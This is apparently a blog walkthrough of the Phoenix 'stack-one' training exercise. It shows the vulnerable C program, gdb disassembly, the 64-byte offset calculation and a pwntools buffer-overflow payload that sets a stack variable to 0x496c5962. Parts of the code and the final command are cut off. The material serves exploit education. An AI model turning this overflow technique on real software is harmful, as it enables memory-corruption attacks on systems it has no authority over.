Phoenix - Stack One

1 minute read

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by"

int main(int argc, char **argv) {
  struct {
    char buffer[64];
    volatile int changeme;
  } locals;

  printf("%s\n", BANNER);

  if (argc < 2) {
    errx(1, "specify an argument, to be copied into the \"buffer\"");

  locals.changeme = 0;
  strcpy(locals.buffer, argv[1]);

  if (locals.changeme == 0x496c5962) {
    puts("Well done, you have successfully set changeme to the correct value");
  } else {
    printf("Getting closer! changeme is currently 0x%08x, we want 0x496c5962\n",


This code uses strcpy function which is dangerous because the source size could be more than destination size.

The only difference from this level and the previous one is that it requires changeme to be set to a specific value 0x496c5962.

Now we can use gdb:

$ gdb -q /opt/phoenix/amd64/stack-one
Reading symbols from stack-one...(no debugging symbols found)...done.

gef➤  disassemble main 
Dump of assembler code for function main:
   0x000000000040066d <+0>:	push   rbp
   0x000000000040066e <+1>:	mov    rbp,rsp
   0x0000000000400671 <+4>:	sub    rsp,0x60
   0x0000000000400675 <+8>:	mov    DWORD PTR [rbp-0x54],edi
   0x0000000000400678 <+11>:	mov    QWORD PTR [rbp-0x60],rsi
   0x000000000040067c <+15>:	mov    edi,0x400750
   0x0000000000400681 <+20>:	call   0x4004c0 <puts@plt>
   0x0000000000400686 <+25>:	cmp    DWORD PTR [rbp-0x54],0x1
   0x000000000040068a <+29>:	jg     0x4006a0 <main+51>
   0x000000000040068c <+31>:	mov    esi,0x4007a0
   0x0000000000400691 <+36>:	mov    edi,0x1
   0x0000000000400696 <+41>:	mov    eax,0x0
   0x000000000040069b <+46>:	call   0x4004d0 <errx@plt>
   0x00000000004006a0 <+51>:	mov    DWORD PTR [rbp-0x10],0x0
   0x00000000004006a7 <+58>:	mov    rax,QWORD PTR [rbp-0x60]
   0x00000000004006ab <+62>:	add    rax,0x8
   0x00000000004006af <+66>:	mov    rdx,QWORD PTR [rax]
   0x00000000004006b2 <+69>:	lea    rax,[rbp-0x50]
   0x00000000004006b6 <+73>:	mov    rsi,rdx
   0x00000000004006b9 <+76>:	mov    rdi,rax
   0x00000000004006bc <+79>:	call   0x4004a0 <strcpy@plt>

We can see that buffer is at rbp-0x50 (main+69) and changeme is at rbp-0x10 (main+51) so we need 64 characters to fill this gap then we can overwrite changeme value.



from pwn import *

buff = ""
buff += 'A'*64
buff += p64(0x496c5962)

$ /opt/phoenix/amd64/stack-one $(python
Welcome to phoenix/stack-one, brought to you by
Well done, you have successfully set changeme to the correct value